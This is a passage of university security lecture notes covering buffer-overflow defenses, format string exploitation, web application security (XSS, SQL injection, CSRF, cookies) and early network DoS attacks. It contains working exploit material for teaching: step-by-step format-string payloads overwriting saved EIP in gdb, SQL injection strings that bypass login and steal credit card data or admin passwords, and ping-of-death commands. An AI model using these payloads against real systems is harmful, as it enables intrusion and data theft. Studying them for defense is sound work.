must be put inside the buffer. The stack’s layout is shown in Figure 13b. Other alternatives for overwriting are:

• function pointer (call another function): jmp to another location

• saved EPB (frame teleportation): pop $ebp will restore another frame
Usually there is not enough space to put the entire shell code in the buffer. To avoid this problem there are two possibilities:
1. the environmental variables can be used

2. the shell code can be reduced (removing additional functionalities such as exits and so on) and the address can be accurately
guessed
Besides buffer overflows there are also heap overflows (instead of overflowing the stack the heat is overflowed until values on the
stack can be read) and format strings.

42
10.2 Defending Against Buffer Overflows

There are some possible mitigations that mainly tackle the conditions (size check, non/executable stack, non/scrambled memory)
that allow buffer overflows to happen. Mitigations against buffer overflows can be divided into 3 main levels:

1. defenses at source code level: finding and removing vulnerabilities, working with the function

2. defenses at compiler level: making vulnerabilities non exploitable

3. defenses at operating system level: to thwart or at least make more difficult attacks

Defenses at Source code level Languages do not cause buffer overflows, programmers’ errors do. Mitigations in this sense
include educating the developers, System Development Life Cycle, targeted testing and the use of source code analyzers. Using
safer libraries is also helpful (BSD version of strncpy, strncat and so on with length parameter are strlcpy, strlcat). Using
languages with dynamic memory management makes them more resilient to such issues.

Defenses at Compiler level These defenses include warnings (unsafe function) at compile time, randomized reordering of stack
variables (stopgap measure, this is just temporary: exploiting is more difficult but since randomization is at compile time (it can
be reverse-engineered) it is still possible, just more time consuming; real randomization should happen at OS level), embedding
stack protections mechanisms at compile time. An example of the last one is the canary mechanism, i.e. verifying during the func-
tion’s epilogue that the frame has not been tampered with. A canary is usually inserted between local and control variables (saved
EIP/EBP). When the function returns the canary is checked and the program is killed if tampering is detected (e.g. StackGuard), this
mechanism is shown in Figure 14.

Real canaries’ implementations are:

• terminator canaries: made with terminator characters (typically \0)


which cannot be copied by string copy functions and therefore can-
not be overwritten

• random canaries: random sequence of bytes chose when the pro-


gram is ran (-fstack-protector in GCC and /GS in VisualStudio), this
is the most common solution. The canary changes at every execu-
tion, to attach such system there must be another vulnerability that
allows to read the canary (at least 2 vulnerabilities)

• random XOR canaries: same as random, but canaries are XORed with
part of the structure that is being protected, protects against non-
Figure 14. Canary’s functioning
overflows

Defenses at OS level The first defense mechanism is non executable stack. This can be implemented via NX bit, W^X or Execshield.
To bypass this code should not be injected, instead the return address should be pointing to existing machine instruction (code-
reuse attacks), such as C library functions (ret2libc) or in general retur oriented programming (ROP). However some programs may
need to execute some code on the stack, this can be an issue. The second one is Addres Space Layout Randomization consists
of repositioning the stack, among other things, at each execution at random, so that it is impossible to guess return addresses
correctly. This is by default active in Linux > 2.6.12, with a 8MB randomization range (/proc/sys/kernel/randomize_ va_ space).
This randomizes all variables on the stack, exploitation is almost impossible.

11 Format String Bugs

Format strings solve the issue of allowing a string to be output that includes variables formatted precisely as dictated by the
programmer. The format must be specified via a place holder. They are not malicious themselves, they are just a basic mechanism
that allows to print variables inside a string in a specific format. This mechanism is possible thanks to special charaters called

43
placeholders. Placeholders are special characters that specify how the data inside the string should be formatted, the basically
specify how to format a variable and its position inside the string (correspondence between placeholder and variable). In addition
they specify the compiler how many parameters to expect to print in the string, there is correspondence between the position of
the placeholder and the variable to be printed. From the memory point of view placeholders just specify the format in which to
interpret a specific memory cell, the CPU is told that a certain cell is an int/char/so on. There are a lot of placeholders:

• %d or %i decimal

• %u unsigned decimal

• %o unsigned octal

• %X or %x unsigned hex

• %c char

• %s string (char*), prints chars until \0

Besides specifying the format, placeholders may be used to read/write in memory. Combining the power of reading and writing the
attacker is being provided with whatever they need to complete the attack and do anything in memory. Format strings mechanisms
typically affects printf, fprintf, vfprintf, sprintf, vsprinf, snprintf, vsnprintf. However this does not mean that all of
them are vulnerable to format strings exploitation. The problem is more complex than buffer overflow, it is not limited to printing
functions exclusively. A program is vulnerable to format string bugs when a printing function that theoretically consents format
strings has no format specifications about the format of the input that will be inserted: this is the vulnerability, not print with
format strings but the fact that printing functions has no format specs. An alarm should be raised when a function of the printing
family that has no specifications about the format it will print is found. This is a problem because in this case the attacker did not
insert a real string, but special characters (placeholders directly without the corresponding variable), the CPU will go somewhere in
memory and print memory cells instead of the variable that would be expected to be there. CPU is printing a number of memory
cells equal to the number of placeholders that the attackers provides in input, because there is no correspondent variable. If the
format of the variable to print is specified the function is not vulnerable, for example:

snprintf(buf, 250, "%i, %i, %i", a, b, c); // non vulnerable


snprintf(buf, 250, "%x, %x, %x"); // vulnerable

In this way it is possible to read what is already on the stack: when the format string is parsed snprintf(); expects three more
parameters from the caller to replace the "%x"s. According ot the calling convention these are expected to be pushed on the stack
by the caller. Thus the snprintf() expects them to be on the stack before the preceding arguments. It is also possible to read
something that is being put on the stack, such as "a" string in snprintf(buf, 250, "AAAA");. In this case, when the function is
called the address of the variable is pushed on the stack with the other arguments. At that address the format string can be found.
Knowing the address the purpose is now to enter the memory and find the string: to do this some placeholders should be added,
for example snprintf(buf, 250, "AAAA %x, %x, %x");. At some point the string will be found. Going back on the stack usually
part of the format string can be found, so it’s possible to read what is being put on the stack. The number of placeholders to use
in this case depends on the progam. There must be a way to automatically find a certain string in the stack: another mechanism
related to placeholders that can be used in this case is %N$x syntax (go to Nth parameter). N is the number of placeholders, N$x
is the direct parameter acccess (accesses Nth element), x is the desired placeholder. To find a specific element it is necessary to
combine this mechanism with some shell scripting. For example let’s consider:

#include <stdio.h>
int main (int argc, char* argv[]){
printf(argv[1]);
return 0;
}

gcc -o vuln vuln.c


./vuln "ciao"
ciao

44
And the shell script:

for i in ’seq 1 150’; do echo -n "$i " && ./vuln "AAAA %$i\$x"; done

This scripts will print all the memory cells up to 150 (toward higher addresses).

for i in ’seq 1 150’; do echo -n "$i " && ./vuln "AAAA %$i\$x"; echo ""; done | grep 4141

This is concatenated with the grep command, which allows to search for something: only the strings that matches the 4141 pattern
will be printed. After doing this, with

./vuln "AAAA %$114\$x"

the string is effectively read. Let’s now consider:

#include <stdio.h>
void test(char *arg){
char buf[256];
snprintf(buf, 250, arg);
printf("buffer: %s\n", buf);
}
int main (int argc, char* argv[]){
test(argv[1]);
return 0;
}

In this cased the vulnerable function is called within the function test: more arguments will be put on the stack, since more
functions are called, the stack contain more variables. The function grep can be used to scan the entire stack and look for interesting
data in memory (for example if the name of some delicate variables knowing which authentication can be bypassed is known). The
basic format string vulnerability is that it’s possible to read whatever is on the stack. But what if the attacker can also write? There
is a placeholder for that, $n. This placeholder writes in the address pointed to by the argument the number of chars (bytes) printed
so far. It writes in memory the number of characters printed so far:

int i=0;
printf("hello%n", &i); // i == 5

Combining all functionalities:

./vuln "AAAA %x %x %x"


buffer: AAAA b7ff0ae0 41414141 804849b
./vuln "AAAA %x %n %x"
Segmentation fault // bingo

In this program segfault happens at 41414141 because %n wants to write at the address pointed to by the argument. However there
is no variable, the considered address is the variable at position 2, which in this case is "AAAA". If instead of putting "41414141" the
attackers puts a real address and changes the string "AAAA" they will write "4" at that address. While in buffer overflow the stack
is smashed, format strings directly write at a specific address in memory. Any address can be encoded in bits. %n pulls an int*
(address) from the stack, goes there and writes the number of chars printed so far. In this example that address is 0x41414141.
This mechanism can be used to put in place attacks by:

1. putting on the stack the address (addr) of the memory cell (target) to modify (as part of the format string)

2. using %𝑥 to find it on the stack (%N$x)

3. using %𝑛 instead of %𝑥 to write a number in the cell pointed to by addr, i.e. target

Python can serve as a way to write an address:

45
./vuln "AAAA%2$n"
./vuln "’python -c ’print "AAAA%2$n"’’" // -c prints non-printable characters
./vuln "’python -c ’print "\x41\x41\x41\x41%2$n"’’" // %n writes ’4’ at the element at position
2 = 0xbffff6cc
./vuln "’python -c ’print "\xcc\xf6\xff\xbf%2$n"’’" // this part (element at position 2) of the format
string is printed

But how to change the number into an arbitrary (controllable) number? The placeholder %c allows to specify the padding (how
many characters to encode). However, in order to avoid writing GB of data each DWORD of the address (32 bits, up to 4 Gb) is split
into 2 WORDs (16 bits, up to 64 kb) and write them in 2 rounds. 4 Gb might not be much for a computer, but they are e.g. for IoT
devices, which can be vulnerable. There is a limitation: the placeholder %c cannot count down: it is a counter of the number of
characters printed so far. For example to print ’10’ we should print first 3 and then 7 (3+7=10), but not 7 and then 3. In the first
round we should write the number with lower absolute value and then the other one, not the other way round. The counter can
not count down (we could overflow). Performing the writing procedure twice means writing in the same format string: the format
string is only exploited once, two addresses are written at the same time. We have to put in memory the 2 target address and their
displacements first, then we have to do some math to compute the number that corresponds to the one we want to write there.
The exploit looks like this:

<target><target+2>%<lower_val>c%pos$n<higher_val>c%pos+1$n

Addresses are put on the stack as part of the format string, the attack goes as follows:

1. put the 2 target addresses of the memory cells to modify on the stack (as part of the format string, at the beginning)

2. use %x to find <target1> on the stack (%N$ x), <target2> will be at pos + 1 (one DWORD up: target+2), where pos is target1’s
displacement

3. use %x and % n to write the lower absolute value in the cell pointed by target1, the higher decimal value in the cell pointed by
target2

To write two target addresses are needed. However while writing we might be writing some 00s as well. After pushing the two
addresses, since 8 b are already on the stack for the target addresses they should be removed from the number we want to write.
For the second number, we should again calculate the difference between the higher and lower numbers (equals the remaining
bytes). If we use %hn instead of %n we can avoid the zeroes problem: tt%hn directly writes 16 bytes. In this case the purpose was to
write an address at a certain target address. Let’s consider another example, whose purpose is to overwrite the $ eip register:

$ gdb vuln
(gdb) r $’AAAABBBB%10000c%2$hn10000c%3$hn’
# 0xbffff6cc (saved eip)
(gdb) p/x 0xbffff6cc+2
0xbffff6ce
(gdb) p/d 0x4543
17731
(gdb) p/x 0x4241
16961
(gdb) r $ ’\xcc\xf6\xff\xbf\xce\xf6\xff\xbf%16953c%00002$hn%00770c%00003$hn’
segmentation fault // because saved $eip is being overwritten
(gdb) p/x $eip
$1=0x45434241

The general form of a format string is:

<tgt (1st 2 bytes)> // where to write (hex, little endian)


<tgt+2 (2nd 2 bytes)> // where to write +2 (hex, little endian)
%<low value - printed>c // what to write - #chars printed (dec),
all printed chars so far should be considered

46
%<pos>$hn // displacement on the stack (dec)
%<high value - low value>c // what to write - what written (dec)
%<pos+1>$hn // displacement on the stack +1 (dec)

The main phases of exploiting format strings depend on what (address) we want to write:

• If the most significant (left) part is higher than the least significant part the low value is printed first in the format string

• If the most significant part is lower than the least significant part tgt and tgt+2 must be switched: since the lower part must
be written first and the lower part is the most significant one it must be written first.

In theory, instead of splitting tgt and tgt+2 the other two parts can be split as well (it is equivalent). The target address can be
the saved return address (EIP, to be found on the stack), global offset table (GOT) or C library hooks, exception handlers, function
pointers and other structures. Finding the desired address on the same is the same as with stack overflows.

11.1 Format String Bugs Countermeasures

Random canaries are not effective anymore, instead if address randomization (OS level) is active it is not possible to exploit format
strings. Non-executable stack is only effective if we are jumping to some code on the stack (EIP is on the stack as well), instead is
some return to libs is overwritten it is a useless countermeasure. Memory error countermeasures help preventing exploitation in
general. Modern compilers show warnings when potentially dangerous calls to printf-like functions are found. Moreover, patched
versions of libc to mitigate the problem exist.

11.2 Affected functions

Conceptually, format strings bugs are not specific to printing functions: in theory any function with a unique combination of char-
acteristics is potentially affected:

• a variadic function (variable number of parameters "resolved" at runtime by pulling them from the stack)

• a mechanism (placeholders) to (in)directly read/write arbitrary locations

• the ability for the user to control them

47
12 Web Application Security

Everyone can have access to web applications: even a single vulnerability can have a huge impact. HTTP works as a request and
transfer protocol in a client-server architecture. A client (web browser) has to make a request for computation to a server (web
servers), who will provide the resource. A HTTP session is a sequence request-response. A 3-tier web application is composed of
the visualization, application and persistent layer (3-tier).

12.1 Web Application Basics

Web Applications work as shown in Figure 15: a client (browser) makes a


request to a web server. A request is composed of a couple (key, value),
in this case the client asks for authentication of user foo. The server will
decode the request and make a function on the application server, de-
pending on the request. The application server will make a query on the
database server which will provide some results to the application server
which will provide the results of the function to the web server. The web
server will answer the client with a response containing the completion
status and the requested resource. This is the general interaction of a gen-
eral web application: a client asks a question and receives a response. The
attacker will generally attack as a client: i.e. trying to guess/pass through
the server, exploiting something in the browser or server to reach some
Figure 15. Web Application Architecture
information in the database or breaking something to obtain something
unexpected. The main point is that the attacker will see the application as a sequence of I/O, something they can play with. Web
applications are subject to a major issue: they are the current paradigm for software delivery, for any application (corporate in-
tranet, SAAS, cloud), they are exposed to public and built on top of stateless protocol (HTTP), where state "emulation" is added on,
in fact HTTP in its vanilla version does not require the server to keep information about subsequent requests, such as the concept
of state or session. This means that a HTTP connection is closed after the response is provided to the client. Moreover, HTTP has
only weak built-in authentication: authentication "emulation" is added on, no confidentiality/integrity are guaranteed. In reality
authentication and state are emulated through cookies (information exchanged between client and server). For an attacker web
applications are black boxes with uncorrelated input and output: an attacker can test different inputs and check their output. The
golden rule for web applications is that the client is never trustworthy: anything the client sends must be filtered and carefully
checked, safe stuff must only happen on the server’s side. For example input validation (e.g. via javascript) must happen on the
server side, where javascript cannot be disabled by the attacker. A request is a sequence (key, value) sent every time communica-
tion is established between client and server. Same applies to the referrer variable, an information sent by the client: an attacker
might change it and cause a leakage of information. The problem is when web developers however see the client as a cooperative
part of the application, who will complete the features of the application, whereas an attacker will just see a web application and
will for example craft a GET request to send something to the server. The attacker knows the code on which the application is
based and might want to try sending something different than a username for example, to break the application’s functionalities
and interact with its code. As for binary files there is a problem related to mixing code and data. If an input is not validated it will
interact with the web application’s code. Another issue is that HTTP is text base, so it’s easy for an attacker to modify it and the info
it contains. Let’s consider the curl library. Curl tries to do a guest request to a web server and connect to it. In curl requests the
user agent can also be specified, data can be sent and other information can be modified (e.g. the referrer). This is why the client is
not trustworthy. Therefore every time the server receives a request (information) by a client the information must be filtered and
validated. Filtering must be correctly paranoid: as usual filtering is not easy, untrusted data must be filtered but the functionalities
of the web applications must not be interrupted (e.g. GitHub, stackoverflow: code acts both as code and data): data and code
must be accurately distinguished. A general rule is that whitelisting is safer than blacklisting, and the steps toward validation are
whitelisting, blacklisting and escaping (transforming special characters into something else less dangerous), in this order. In general
good filtering is extremely important and validation on client’s side should never be done, client is not trustworthy (more examples
are on the slides). If filtering and validation are not applied in the correct way cross site scripting may happen: for example in a
simple blog app if no filter is applied to inserted text (e.g. anyone can post a comment, text field is filled by or displayed to visitors)
an attacker could type:

48
<SCRIPT>
alert(’JavaScript Executed’); // not validated input, can be executed by any other user
<SCRIPT>

In this way a popup will appear on the next visitor’s screen, cross site scripting happens.

12.2 Password security

Seen these attacks it is clear how important password security is. Everything said about passwords still applies: passwords should
never be stored in plain text in web applications (to minimize disclosure in case of breach), salting and hashing should be used.
Also password reset schemes need attention. In general applications should be protected against brute forcing attacks:

• after n failed login attempts account is locked (reverse bruteforcing exists: fix n-1 attempts and bruteforce accounts), however
the attacker might block all accounts usability of the service is impacted

• make accounts not-enumerable

• blocking IP addresses can turn into a DoS attack, and IP addresses can change, blocking all of them will impact usability
(blocking the entire internet, e.g. telegram vs. Russian government)

• multiple factor authentication (not specific)

• captcha (only solved by humans, brute forcing attacks are automatic)

• instead of blocking the users, insert a delay between accesses

12.3 Cookies

HTTP is stateless (there is no correlation between sessions nor about sessions being linked to the same user) and almost unidi-
rectional: the client passes data to the server, but the server cannot store something on the client except for cookies. On the
client side this kind of information storage is a reliable mechanism to keep stateful information. The original idea is about site
customization. Cookies are pieces of information the server sends to the client, this information is stored on the client by the web
browser. This is a helpful concept to emulate the concept of session: every time a website connects to the client it will retrieve the
cookie from the client to understand whether the client is making multiple requests. It can emulate sessions in e-commerce, for
example. Cookies allow to track the items a user puts in the charts. Cookies were designed as a reliable mechanism to store state-
ful information, the original idea was related to commerce and site customization (e.g. personalized visualization). This was the
intended usage. It became clear however that cookies have a lot of power, they allow to track every action of the user, some even
allow to track the activities of the user between different websites, the user is identified by these cookies (cross-domain cookies).
Cookies began to abuse of cookies’ power which led to privacy violations, understanding the users’ behavior and the field inserted:
in this way it was possible to target advertisement and sell cookies’ data to advertising companies. Cookies’ abuse is a problem:
this is why, now, why navigating a website EU regulations imposed websites to inform users about how their cookies were used.
Besides this every time we log into something we send the server some in-
formation, every time we re-connect the server will retrieve such informa-
tion. Cookies allow to reconstruct the user’s navigation actions. Cookies
are also used for user authentication and sessions. Cookies allow to emu-
late these missing functionalities. However this might be dangerous: they
are client-side information and client is never trustworthy. All the reusing
valid for inputs must be applied to cookies: we must reduce the amount of
information contained in the cookies to protect from attackers. Any field
contained in the cookie must be also filtered and validate, and must not
contain sensitive information. It has the same problem of client input. It
is also dangerous because depending on how they are implemented (non
Figure 16. Cookies: session creation and identification correctly) huge vulnerabilities might be introduced: session creation and
identification must be managed, through cookies users are authentication

49
(session is emulated). This is done by assigning a session ID to the client. As shown in Figure 17 as the user logs in a session ID is
created and sent to the client, whose browser saves the received ID. Every time the user will connect to the service the server will
retrieve the cookies and check (on server’s side) it: if the session already exists it will be kept, no new session is created. For exam-
ple by creating a cross-domain cookie with unlimited expiration time the cookie will continue tracking the user. Other problems
that should be considered are:

• concurrency issues: what if two clients access the site simultaneously? Different users should access through different ses-
sions ID (different people should have distinct access)

• session termination: when does the session terminate? How to dispose of it? How to handle a client with a stale session?
Session termination just depends on the service (trade off usability/safety to decide sessions’ expiration)

• session data storage: where? (Disk, RAM, ...) What is performance penalty? What happens in a multi server, load-balanced
site?

If a cookie is stolen the attacker will be able to impersonate the person they stole the cookie to. Prediction of the token a client
received (or will receive) should be avoided to avoid impersonation/spoofing attacks, damages caused by session stealing are also
minimized. Stealing a cookie is almost equivalent to stealing credentials (especially if they have long expiration time). To mitigate
this some other inconsistencies (e.g. geoloc) can be used. Any token should have a reasonable expiration period, not set in the
cookie. Moreover cookies’ content includes sensitive information: it must be encrypted and safely stored. In Figure 17 the cookie
is correct: it should not be encrypted, but the channel over which it is transmitted must be secure (e.g. HTTPS). In fact expiration
date is written inside the cookie: an attacker might modify it, because of this cookies’ expiration date must be saved on server
side. Session can be hijacked by stealing a cookie with XSS attack or brute forcing a weak session ID parameter. To prevent some
Javascript to retrieve the cookie the cookie must be secured and HTPPS only (can only be retrieved with a get request to the server).
Cookies must be implemented in the correct way.

13 Web Application Attacks

13.1 Cross Site Scripting

Cross site scripting is a vulnerability by means of which client side code can be injected into a page. There are three types of XSS:
stored XSS, reflected XSS, dom-based XSS. Basically there is a dataflow which is not filtered nor validated, the attacker can inject
some code into it and it is executed on the client side.

13.1.1 Stored XSS (Persistent)

The attacker input is stored on the target server in a database (e.g. message forum, visitor log, comment field). The victim retrieves
the stored malicious code from the web application without that data being made safe to render in the browser (e.g. visualizes the
comment). For example the attackers write some malicious code into a post which is not filtered and is saved on a database: every
user who will see it will execute that code (executed by the web browser). This attack is not targeted, anyone visiting the malicious
post or code is affected.

13.1.2 Reflected XSS

In this case the attacker client input is returned to the victim client by the web application in a response (e.g. error message, search
result..). The response includes some or all of the input provided in the request, without being stored and made safe to render in
the browser. In this case injection is immediately reflected to the victim: there must be some variable in the page that is directly
(without being stored) printed to the user, there must be a print/echo of a variable that is not filtered. The scripting function to
execute is directly injected into a page: a malicious link is added to a spam email or malicious website, the attacker will click on it
and the link is reflected back to the victim: the content of the url is reflected back to the user and the code is executed. This attack
is targeted: the victim actively participates in the attack by clicking on the malicious link.

50
13.1.3 Dom-based XSS

In this case the user input never leaves the victim’s browser: the malicious payload is directly executed by client-side script (e.g.
script that modifies/updates the DOM environment - dynamic pages, forms). TInjection is not stored, but there is no response ex-
pected from the server: the entire attack happens on client’s side. There is no request sent to the server and no response expected.
If the functionality that allows to add something within the web application without communicating with the server is not filtered
the page might write the script inside the page. The dynamic Javascript code that generates the page on the clinet’s side can be
exploited. Everything happens on the client’s side.

13.1.4 XSS attacks’ power

To find XSS vulnerabilities the source code of the page must be analyzed: we want to detect the variables that are printed without
validation and filtering. If these variables belong to something that is retrieved from a database stored XSS is possible, instead if
it is a variable that is printed from a user request reflected XSS is. If the variable is related to some dynamic functionality of the
website DOM-based XSS is possible. XSS attacks are very powerful, in fact the following are possible:
• cookie theft or session hijack

• manipulation of a session and execution of fraudulent transaction

• snooping on private information (full power of the scripting language)

• drive by download (to exploit the machine)

• effectively bypass the same-origin policy


The same origin policy is implemented by all web client. According to this policy all client side code loaded from origin A should only
be able to access data from origin A, where Origin =<PROTOCOL, HOST, PORT>. It was a security measure implemented in old web
client. Modern web however has blurry boundaries between origin (e.g. for ad/marketing purposes: information shared through
cookies): for example cross-origin resource sharing (CORS) and client-side extensions. However in XSS attacks code is injected into
that origin, so it will be executed and SOP is bypassed (more example can be found on the slides). Blacklisting is in general not
effective when tackling the problem: there are a lot of workarounds for the same functionalities, escaping might be smarter (e.g.
if a blog supports code to be inserted and considered as data). In HTTP couples request and response are uncorrelated. A security
standard to mitigate cross-site scripting and code injection vulnerabilities that allows to execute client side code is the Content
Security Policy (CSP). CSP is a W3C specification to inform the browser on what should and should not be trusted. It is kind of a SOP
with flexible and more expressive policies. It is a set of directive the server sends the client in the form of HTTP response headers,
to inform the client about what to trust or not. CSP is similar to SOP. For example the browser can be instructed to only execute
code that comes from a specific website (considered as a trusted source). They block by default in-line scripting and their injection
is thus not possible. In CSO many directives are available:
• script-src loads client code only from listed origins

• form-action lists valid endpoints for submission

• frame-ancestors lists sources that can embed the current page as frames and applets

• img-src defines the origins from which images can be loaded

• style-src as script-src but for stylesheets


Of course this is a specification, the implementation is up to the browser and this is the main problem. Besides origin (as SOP)
other characteristics can be specified. Different browser implement CSP in different ways. Even though CSP allows good flexibility
while blocking cross-site scripting is slowly gaining traction, because the way CSP works requires to find a trade off between strict
policies (might impact functionality) and relaxed policies (can be bypassed). Practical barriers and challenges of CSP are related to
CSP writing which is a manual process: something can be automated, but not everything. Moreover policies should be updated,
but modern pages load content from many resources, pages and resources can also change over time. And what about extensions
that inject new code? This is why CSP was largely studied between 2010 and 2018 to ease its deployment.

51
13.2 SQL injection

This is another injection based vulnerability that exists when filtering is not (correctly) applied. Again their problem is mixing code
and data: the attacker injects code because there is no filtering. For example when logging into a web application it might be
required to insert username and password into certain fields. On the server side, login might be managed as follows:

public void onLogon(Field txtUser, Field txtPassword){


SqlCommand cmd = new SqlCommand(String.Format(
"SELECT * FROM Users
WHERE username=’{0}’
AND password=’{1}’;",
txtUser.Text, txtPassword.Text));
SqlDataReader reader = cmd.ExecuteReader();

if(reader.HasRows())
IssueAuthenticationTicket(); // if one rows for the couple (user, pw) exists
else
RedirectToErrorPage();
}

Login is basically a query at database level. The database is asked whether a username with that a password exists, if so access
is granted. The code shows what happens in the developer’s mind and how things ideally work. However the attacker knows how
a database works and instead of inserting username and password they might try to inject some SQL commands in these fields
instead. These SQL commands will be interpreted as part of the query itself, for example my.name’;–:

SELECT * FROM Users WHERE


username=’my.name’;--’ AND password=’’; // double dash comments everything from that point on

The query is now different: if a user my.name exists, regardless of the password, access is granted. Again, no filtering is an issue.
The main limitation of this SQL injection is that at least the name should be known. If the username is not known either the query
can be changed in another way, for example to make the WHERE clause always true:

SELECT * FROM Users WHERE


username=’’ OR ’1’=’1’; --’ AND password=’’; // always true condition, tautologies can be defined in many
different ways and with different chars
(blacklisting can be bypassed)

It is important not to filter too much when it’s about password, otherwise they will be too easy to guess and brute force. Black list
should be considered instead: for example avoiding ’;– might be helpful, the best thing to do is escaping. These can be bypassed
anyways.
Let’s focus on queries which present their results directly on the screen:

SELECT name, phone, address FROM Users WHERE Id=’userinput’;

If userinput is not filtered SELECT name, phone, address FROM Users WHERE Id=” or ’1’=’1’;..’ will display all contents of the
table (tautology injection). This super basic vulnerability still exists, because developers don’t always think about security. The
UNION operator can also be used for injection:

SELECT name, phone, address FROM Users WHERE


Id=’’ UNION ALL SELECT name, creditCardNumber, CCV2 from CreditCartTable;--’

This concatenates the result of a query with another table and thus show the results of a different table. It will work only if the
number and data types of the columns are the same (consistent). In this case however some knowledge of the database is needed,
e.g. the name of different tables. To gain such knowledge other exploits can be used, for example cause some error that shows a
complete log, including the name of certain tables where the error occurred. Injection can be done on inserts as well, by exploiting
writing privileges:

INSERT INTO results VALUES (NULL, ’my.name’, ’30L’)--’,’18’);

52
Information can be written on the database. Subqueries can be used too:

INSERT INTO results VALUES (NULL, ’my.name’, (SELECT password from USERS where user=’admin’))--’,’18’)

In this case the admin password is being stolen and written into the database, the result of the subquery is inserted into the table.
The limitation in this case is that user my.name must have a way to read their own value from the result table in order to get the
admin password. The worst scenario happens when we can not read the result of a query, in this case we talk about blind SQL
injection.

13.2.1 Blind SQL injection

This is the case for login queries: the value returning from the query is not shown. These queries cannot be directly used to display
data, but we can play with their behaviour to infer data. In blind SQL injection it is important to play with the query itself: it is
successful it will take some time. A timing attack can be performed: when we notice a difference in time something happened on
the server side was successful and so on until we can infer enough hints about the data contained in the database.

13.2.2 Mitigations against Web vulnerabilities

Some mitigations against these attacks are:

• input sanitization (validation and filtering)

• using prepared statements (parametric queries) instead of building query strings (if the language allows so), strings are not
concatenated, instead we create placeholders that are substituted into the query, the input is casted from the client into the
web application, in this case data is distinguished from code

• not using table names as field names to avoid information leakage

• limitations on query privileges: different users can execute different types of queries on different tables/databases, separate
privileges must be granted from a database point of view

13.3 Freudian Slips

This is another category of web application vulnerabilities regarding information leakage: the application provides more informa-
tion than necessary. This is the case for detailed error messages which can create security issue, despite being a good HCI practice.
Also the insertion of user-supplied data in errors causes Reflected XSS risk. Side-Channel attacks instead allow the attacker to gain
information about the database’s content (e.g. "user not found" vs. "password mismatch": trying all combinations will grant us with
some information). Finally, debug traces, when left within the application, will provide the attacker with a lot of useful information
(e.g. which query has failed for which field).

13.4 URL Parameter Tampering

These are other vulnerabilities that have different aspects than the ones we saw before, but have the inner functioning that is the
same of injection vulnerabilities. In this case the URL contains some information in clear, for example query’s parameters. In this
case inserting for example * the entire list of data contained in the table will be displayed.

13.5 Directory/Path traversal attack

This attack is related to URL tampering: the URL is tampered not to play with the query but instead to access resources outside root
folders using the ../ mechanism. This allows to retrieve basically anything inside the system. This is possible but a vulnerability
regarding access control must exist to gain access to root privileged files.

53
13.6 Cross-Site Request Forgery (CSRF) attack

This attacks consists of forcing a user to execute unwanted actions (state-


changing actions) on a web application in which they are currently authen-
ticated with ambient credentials (e.g. cookies). This attack exploits ambi-
ent credentials and the fact that every session requires cookies to be sent.
The key concept is that cookies are used for session management: all the
requests originating by the browser come with user’s cookies (which are
ambient credentials automatically sent for every request). Malicious re-
quests (e.g. crafted links) are routed to the vulnerable web application
through the victim’s browser. The user’s browser won’t be able to distin-
guish whether the requests comes from the malicious link or from the
Figure 17. CSRF attacks user. Websites cannot distinguish if the requests coming from authenti-
cated users have been originated by an explicit user interaction or not. Once the user clicks on the link they are already authen-
ticated and their unwanted request won’t be distinguished from the malicious link’s. This is possible by exploiting some state
changing operation in the website itself. The browser will perform the requested action because the user is already authenticated.
The crafted malicious link is similar to social engineering attacks (offline attacks). CSRF can be mitigated using CSRF token, i.e. ran-
dom challenge tokens associated to users’ sessions (unique, not guessable). These are regenerated at each request (e.g. included
in each form involving sensitive operations: inside a hidden form a random token is hidden, when the user clicks on the service
the token is sent, tokens change every time). They are sent to the server and then compared against the stored token: server-side
operations are allowed only if it matches. They are not stored into cookies. This strategy is effective because the attacker has no
access to CSRF token, they can only use XSS to retrieve the token, generate the malicious link and have the victim clicking on it
(online attack). Every time the page is refreshed (the form) CSRF token is regenerated, since it is only valid for one request. An
additional mitigation option that can be added to cookies is Same Site Cookies. The idea is not to send session cookies for requests
originating from different websites. Websites specify this behaviour when setting a cookie with the SameSite=strict attribute,
which does not sent any cookie for any cross-site usage. SameSite=lax only sends cookies for cross domain navigation (not for
cross-site post, forms, images, etc i.e. top domain navigation). Sharing of cookies between cross-domain navigation is limited.

14 Network Protocol Attacks

Networking is composed of different physical devices and topologies: a


layered approach is needed. Each layer has different protocols, since a
packet must move along all these layers packers are encapsulated, each
layer is instructed on how to interpret that packet’s content. It is impor-
tant to recall the concept of addressing. Hosts are uniquely identified by
addresses. Each layer has its own addressing structure: MAC address (for
ethernet, data link layer), IP address (internet layer) and port (transport
layer).

Transport protocol UDP is connectionless, a thin wrapper around an IP


packet with a port number and not much else. TCP is connection oriented,
the concept of connection/state exists (closed, open, established) and con-
Figure 18. Network: Layering and Protocols nections are set up with a three way handshake. Typical network attacks
can be divided into:

• Denial of Service (against availability): service unavailable to legitimate users (can be distributed or not)

• Sniffing (against confidentiality): abusive reading of network packets

• Spoofing (against integrity and authenticity): forging network packets

54
14.1 Denial of Service

These attacks include killer packets, SYN flood, smurf, multiplication or amplification attacks and disturbed DoS. Killer packet attacks
exploit vulnerabilities in the protocol to make a communication fail: the receiver expects a well formed pack but received a killer
(unexpected/malformed) one. The other attacks make service unavailable bi exhausting the service’s resources. The goal is always
to make the service unavailable so that user can not connect to it.

14.1.1 Killer Packets

Ping of Death consists of a pathological ICMP echo request that exploits a memory error in the protocol implementation. ICMP
is the Internet Control Message Protocol and is used to send debugging information and error reports between hosts, routers and
other network devices at IP level. ICMP messages can be requests, responses, error messages, among which there is a message
called echo request/reply, used to test connectivity (ping). Ping command sends an ICMP with a particular dimension request and
asks for a ICMP response of the same dimension (max 64 kB, usually much less). Machines can be crashed by sending IP packets
that exceed maximum legal length (65535 octets): ping -l 65527 (win) or ping -s 65527 (*NIX), being the payload greater than the
expected ones. At the time it was discovered the system could not handle the dimension and crashed because, on the receiver’s
side, buffer overflow happened, even from remote. Nowadays machines accept different dimensions’ payload so this attack is not
really successful.

Teardrop attack exploits vulnerabilities in the TCP reassembly. TCP fragments packets that are too big to be exchanged, frag-
mented packets’ dimensions are equal to the maximum dimension. Packets are structured like a linked list (header specifies the
offset of the next fragment) so that the receiver has the instructions to reassemble the packet. However packets with overlapping
offsets were nor managed correctly: it was possible to make packets so that while reassembling kernel could hang/crash. It was
first discovered in 1997 for all OSs and then patched, it came back in 2009 with windows vista because between 1997 and 2009
OSs changed, the protocol was the same and this vulnerability came back.

Land Attack this was possible in 1995 and caused by packets whose source IP was equal to destination IP and with a SYN flag
set. In this way the packet would loop in the protocol stack of the first machine and at some point exhausted the resources of
